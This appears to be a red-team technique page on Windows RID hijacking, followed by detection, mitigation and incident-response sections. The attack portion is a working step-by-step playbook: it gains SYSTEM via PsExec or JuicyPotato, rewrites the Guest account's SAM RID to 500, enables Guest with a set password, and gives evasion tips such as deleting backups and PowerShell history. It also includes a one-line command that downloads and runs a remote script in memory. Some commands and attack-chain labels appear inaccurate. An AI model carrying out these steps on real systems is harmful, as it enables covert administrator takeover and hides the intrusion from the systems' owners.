| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-005 |
| MITRE ATT&CK v18.1 | T1134.005 - Access Token Manipulation: Modifying Account Attributes |
| Tactic | Privilege Escalation / Defense Evasion |
| Platforms | Windows Endpoint / Windows AD |
| Severity | Critical |
| CVE | CVE-2021-42287 (related PAC bypass) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-15 |
| Affected Versions | Windows 10 (all), Server 2016, 2019, 2022, 2025 |
| Patched In | Not directly patched; CVE-2021-42287 mitigation via KB5008380 (Nov 2021) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: RID Hijacking is a local privilege escalation and persistence technique that modifies the Relative Identifier (RID) of a low-privileged account (such as Guest) to match the RID of the local Administrator account (500). By altering the registry value stored in the SAM (Security Account Manager) hive, the attacker causes Windows to recognize the compromised account as possessing administrative privileges. Since the modified account is typically less monitored than the built-in Administrator account, this technique enables stealthy privilege escalation and persistence on a compromised system.
Attack Surface: SAM registry hive (HKLM:\SAM\SAM\Domains\Account\Users\000001F5), specifically the binary “F” value at offset 0x30 (bytes 48-51). Access requires SYSTEM privileges.
Business Impact: Critical – Complete Local System Compromise. An attacker with RID hijacking capability can execute arbitrary code as Administrator, modify system configurations, install malware, exfiltrate sensitive data, and maintain persistent access to the system. Guest accounts are typically excluded from monitoring rules, allowing the attacker to operate undetected.
Technical Context: RID hijacking is a relatively low-detection technique because it operates entirely within the registry and leaves minimal event log traces on systems without advanced auditing enabled. Exploitation typically takes less than 1 minute once SYSTEM privileges are obtained. Detection likelihood is Medium to High only if registry access auditing (Event ID 4656, 4657) is specifically configured.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3.1 (Guest Account) | Ensure Guest account is disabled |
| DISA STIG | V-36713 | Disable Guest account |
| CISA SCuBA | AC-2(11) | Account Monitoring |
| NIST 800-53 | AC-3 | Access Enforcement; AC-6 - Least Privilege |
| GDPR | Art. 32 | Technical measures for security of processing |
| DORA | Art. 9 | Protection and Prevention measures |
| NIS2 | Art. 21 | Technical cybersecurity measures for critical infrastructure |
| ISO 27001 | A.9.2.2 | Privileged Access Rights; A.9.4.1 - Information Access Restriction |
| ISO 27005 | Risk Scenario | Account Privilege Escalation via Registry Manipulation |
Supported Versions:
regini.exe (Microsoft utility), an Administrator can grant the SAM registry read/write permissions to grant Admin-level users access without SYSTEM, though this is less common.Tools & Dependencies:
# Check current privileges
whoami /priv
# Verify Guest account exists and its current RID
wmic useraccount where (name='Guest') get name,sid
# Output should show Guest with SID ending in 501 (RID 501)
# Example: S-1-5-21-2623811020-2361334927-2898235297-501
What to Look For:
SeDebugPrivilege or SeImpersonatePrivilege in the output (necessary prerequisites for token impersonation to obtain SYSTEM)-501 (if SID ends in -500, Guest account has already been hijacked)Version Note: PowerShell behavior is identical across Windows 10 and Server versions (2016-2025).
# Attempt to access SAM registry as current user (will fail without SYSTEM)
Get-Item -Path 'HKLM:\SAM\SAM\Domains\Account\Users' -ErrorAction SilentlyContinue
# If empty output, SYSTEM privileges are NOT available
# If registry key is accessible, SYSTEM privileges are available (or elevated permissions via regini)
Command (Server 2016-2019):
# Check if regini.exe is available for alternative approach
Get-Command regini.exe -ErrorAction SilentlyContinue
Command (Server 2022+):
# Verify regini.exe availability (typically in System32)
Test-Path "C:\Windows\System32\regini.exe"
Supported Versions: Server 2016-2025, Windows 10 (all)
Objective: Establish a PowerShell session with SYSTEM context before proceeding with RID modification.
Version Note: Method identical across all Windows versions.
Command (using PsExec):
psexec -s powershell.exe
Command (using Token Impersonation – if available):
# If you have SeImpersonate privilege, use Invoke-Token impersonation
# Alternatively, use JuicyPotato:
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a '/c powershell -NoP -W Hidden -C "whoami"'
Expected Output:
nt authority\system
OpSec & Evasion:
regini.exe with a prepared .ini file instead of direct PowerShell (slightly lower detection)Troubleshooting:
psexec -s -d powershell.exe (deferred mode)Objective: Confirm the current Guest account SID and RID before modification.
Command:
# Retrieve Guest account SID
$guestSID = (Get-LocalUser -Name "Guest").SID.Value
Write-Host "Guest SID: $guestSID"
Write-Host "Guest RID (last component): $($guestSID.Split('-')[-1])"
Expected Output:
Guest SID: S-1-5-21-2623811020-2361334927-2898235297-501
Guest RID (last component): 501
What This Means:
OpSec & Evasion:
wmic (deprecated, often monitored)Get-LocalUser)Objective: Read the binary “F” value containing the RID information for the Guest account.
Command:
# Define the registry path for Guest account
# 000001F5 = hex for 501 (RID of Guest)
$regPath = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
# Retrieve the binary "F" value
$binaryValue = (Get-ItemProperty -Path $regPath -Name "F")."F"
# Display RID at offset 0x30 (byte 48)
Write-Host "RID at offset 0x30: 0x$("{0:X2}" -f $binaryValue[48])"
Expected Output:
RID at offset 0x30: 0xF5
What This Means:
Version Note: Offset 0x30 (byte 48) is consistent across all Windows versions; SAM hive structure unchanged since Windows Vista.
Objective: Change the RID from 501 to 500, making Guest account appear as Administrator.
Command:
# Export current value as backup
reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' C:\Temp\guest_backup.reg
# Modify the RID at offset 0x30 (byte 48)
$binaryValue[48] = 244 # 244 = 0xF4 = RID 500
# Write the modified value back to registry
Set-ItemProperty -Path $regPath -Name "F" -Value $binaryValue
Write-Host "RID modified successfully. New value at offset 0x30: $("{0:X2}" -f $binaryValue[48])"
Expected Output:
RID modified successfully. New value at offset 0x30: F4
OpSec & Evasion:
Remove-Item C:\Temp\guest_backup.reg -Forcereg export in production; directly manipulate via PowerShell Registry providerTroubleshooting:
whoami /priv should show elevated privilegesGet-LocalUser -Name "Guest"Objective: Activate the Guest account if it is currently disabled (common on modern systems).
Command:
# Check current status
$guestUser = Get-LocalUser -Name "Guest"
Write-Host "Guest account enabled: $($guestUser.Enabled)"
# If disabled, enable it
if (-not $guestUser.Enabled) {
Enable-LocalUser -Name "Guest"
Write-Host "Guest account enabled"
}
# Set a password (optional but recommended for persistence)
$password = ConvertTo-SecureString -String "P@ssw0rd123" -AsPlainText -Force
Set-LocalUser -Name "Guest" -Password $password
Write-Host "Guest password set"
Expected Output:
Guest account enabled: True
Guest account enabled
Guest password set
OpSec & Evasion:
Troubleshooting:
New-LocalUser -Name "Guest" -NoPassword and modify RIDObjective: Confirm that the Guest account now appears as Administrator.
Command:
# Method 1: Check SID (if Guest and Admin have same SID, RID hijacking worked)
$guestSID = (Get-LocalUser -Name "Guest").SID.Value
Write-Host "Guest SID after hijacking: $guestSID"
Write-Host "Guest RID (last component): $($guestSID.Split('-')[-1])"
# Method 2: Test access as Guest
whoami /all /user:Guest
Expected Output:
Guest SID after hijacking: S-1-5-21-2623811020-2361334927-2898235297-500
Guest RID (last component): 500
What This Means:
System Reboot Consideration: On some systems, a reboot may be required for full effect (token refresh). However, immediate exploitation is typically possible without reboot.
Supported Versions: Server 2016-2025, Windows 10 (all)
Objective: Use publicly available RID hijacking script for one-command exploitation.
Command:
# Execute in-memory from GitHub (requires SYSTEM context)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/r4wd3r/RID-Hijacking/master/Invoke-RIDHijacking.ps1')
# Execute the function
Invoke-RIDHijacking -User 'Guest' -RID 500
Expected Output:
[+] Guest account RID set to 500
[+] Modification complete
OpSec & Evasion:
Remove-Item $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtTroubleshooting:
whoami to verify; re-obtain SYSTEM if necessaryCommand:
net user Guest
Expected Output:
Account active Yes
RID 500
Supported Versions: Server 2016-2025, Windows 10 (all)
Note: This method requires elevated Admin privileges but NOT SYSTEM; it uses regini.exe to grant Admin-level permissions to the SAM key.
Objective: Create a registry permission script to grant Administrator access to SAM registry.
Command:
# Create file: C:\Temp\sam_perms.ini
cat > C:\Temp\sam_perms.ini << EOF
\Registry\Machine\SAM\SAM
[1 5 12 0 0 0 0]
EOF
# Grant permissions
regini.exe C:\Temp\sam_perms.ini
Expected Output:
Registry permissions updated
Command (PowerShell as Administrator):
# Now registry can be accessed as Administrator
$regPath = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
$binaryValue = (Get-ItemProperty -Path $regPath -Name "F")."F"
$binaryValue[48] = 244
Set-ItemProperty -Path $regPath -Name "F" -Value $binaryValue
Version Note:
regini.exe works identicallyregini.exe still available; same syntaxURL: Microsoft Docs - Registry Provider
Version: PowerShell 5.0+, PowerShell 7.x
Usage:
Get-ItemProperty -Path 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5' -Name "F"
Installation: Built-in to Windows
URL: GitHub - r4wd3r/RID-Hijacking
Version: 1.0 (last updated 2018, but still functional)
Usage:
Invoke-RIDHijacking -User 'Guest' -RID 500
Installation:
# Download and dot-source
. .\Invoke-RIDHijacking.ps1
Invoke-RIDHijacking -User 'Guest' -RID 500
URL: GitHub - NetSPI/CreateHiddenAccount
Version: Latest compiled release
Usage:
CreateHiddenAccount.exe -Username "HiddenAdmin" -Password "P@ssw0rd123"
Installation:
# Clone repo and compile with Visual Studio or download pre-compiled executable
git clone https://github.com/NetSPI/CreateHiddenAccount.git
cd CreateHiddenAccount
# Open in Visual Studio and compile as Release
URL: Microsoft Sysinternals Documentation
Version: Included in Windows 10 and Server 2016+
Usage:
regini.exe C:\path\to\permissions.ini
URL: Microsoft Sysinternals - PsExec
Version: Latest v2.4x
Usage:
psexec -s powershell.exe
Installation:
# Download from Sysinternals
# Place in C:\Windows\System32 or add to PATH
Event ID: 4656 (Handle to an object requested)
HKEY_LOCAL_MACHINE\SAM with Write or ReadWrite accessManual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Registry" /success:enable /failure:enableauditpol /set /subcategory:"Registry" /success:enable /failure:enableEvent ID: 4657 (Registry Value Modified)
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users with object name containing 000001F (Guest or other account RID)Manual Configuration Steps:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\UsersMinimum Sysmon Version: 13.0+
Supported Platforms: Windows 10, Server 2016-2025
<Sysmon schemaversion="4.20">
<EventFiltering>
<!-- Detect registry access to SAM -->
<RegistryEvent onmatch="include">
<TargetObject condition="contains">HKLM\SAM\SAM\Domains\Account\Users</TargetObject>
<EventType>SetValue</EventType>
</RegistryEvent>
<!-- Detect regini.exe execution (used to grant SAM permissions) -->
<ProcessCreate onmatch="include">
<Image condition="contains">regini.exe</Image>
</ProcessCreate>
<!-- Detect PowerShell accessing registry with certain parameters -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">SAM</CommandLine>
<CommandLine condition="contains">Get-ItemProperty</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with XML abovesysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: Suspicious registry modification to SAM hive
Manual Configuration Steps (Enable Defender for Cloud):
Disable Guest Account: The primary vector for RID hijacking is the Guest account. Disabling it eliminates the persistence mechanism. Applies To Versions: All Windows versions
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Server 2022+):
Manual Steps (PowerShell - Local):
Disable-LocalUser -Name "Guest"
Validation Command:
(Get-LocalUser -Name "Guest").Enabled
Expected Output (If Secure): False
Restrict SYSTEM Access: Limit who can obtain SYSTEM privileges through UAC bypass, token impersonation, or code execution.
Manual Steps (Restrict SeDebugPrivilege):
gpupdate /forceManual Steps (Restrict SeImpersonatePrivilege):
Monitor SAM Registry Access: Enable comprehensive auditing for SAM registry modifications.
Manual Steps:
HKEY_LOCAL_MACHINE\SAMEndpoint Detection & Response (EDR): Deploy EDR solution to detect registry access patterns, process execution anomalies, and token manipulation attempts.
Manual Steps (Microsoft Defender for Endpoint):
HKLM\SAM registryregini.exe executionRemove Unnecessary Accounts: Delete or rename built-in accounts (Guest) that are not required.
Manual Steps:
# Option 1: Delete Guest account
Remove-LocalUser -Name "Guest" -Force
# Option 2: Rename Guest account
Rename-LocalUser -Name "Guest" -NewName "GuestDisabled"
Enable Privileged Account Management (PAM): Implement solutions like Microsoft Privileged Access Management (PAM) to restrict and monitor SYSTEM access.
Manual Steps:
Deploy AppLocker / Code Integrity: Restrict execution of scripts and tools commonly used in RID hijacking (PowerShell scripts, regini.exe with untrusted sources).
Manual Steps:
Invoke-RIDHijacking.ps1 or similar known tools# Check if Guest account is disabled
$guestUser = Get-LocalUser -Name "Guest"
Write-Host "Guest account enabled: $($guestUser.Enabled)"
# Check audit policies
auditpol /get /subcategory:"Registry" /r
# Check for unauthorized SYSTEM escalation tools
Get-Command -Name "*potato*", "regini.exe" -ErrorAction SilentlyContinue
Expected Output (If Secure):
Guest account enabled: False
Audit Registry: Success and Failure enabled
C:\Temp\guest_backup.reg (registry backup created during RID hijacking)CreateHiddenAccount.exe or similar tools in non-standard directoriesHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 (Guest account binary F value)userAccountControl attribute for non-standard accountspowershell.exe with registry modification cmdlets (Set-ItemProperty, Get-ItemProperty)regini.exe execution with SAM registry pathpsexec.exe -s (PsExec obtaining SYSTEM context)C:\Windows\System32\config\SAM# Disconnect network interface
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
Manual (Azure):
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export SAM registry hive
reg save HKLM\SAM C:\Evidence\SAM
# Collect process memory (if available)
Get-Process | Where-Object { $_.ProcessName -like "*powershell*" } | ForEach-Object {
Write-Host "Found: $($_.ProcessName) (PID: $($_.Id))"
}
Manual:
C:\Evidence\Security.evtxRegistry Editor to export SAM: File → Export → Select HKLM\SAM# Disable hijacked Guest account
Disable-LocalUser -Name "Guest"
# Restore original RID (if backup available)
reg import C:\Evidence\guest_backup.reg
# Remove any hidden accounts
Get-LocalUser | Where-Object { $_.Name -like "*$" } | Remove-LocalUser -Force
# Clear PowerShell history
Remove-Item $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt -Force
Manual:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] | Exploit application or service to gain initial foothold (e.g., web server RCE) |
| 2 | Privilege Escalation | [CA-DUMP-001] / [CA-DUMP-002] | Dump credentials from LSASS or domain controller (e.g., Mimikatz) |
| 3 | Lateral Movement | Token Impersonation / [PE-TOKEN-001] | Steal or manipulate access tokens to escalate to SYSTEM |
| 4 | Current Step | [PE-TOKEN-005] RID Hijacking | Modify Registry to grant admin privileges to low-privilege account |
| 5 | Persistence | [PE-ACCTMGMT-001] | Ensure hijacked account remains active; disable logging for Guest account |
| 6 | Impact | Data Exfiltration / Lateral Movement | Use hijacked account to access sensitive data or pivot to other systems |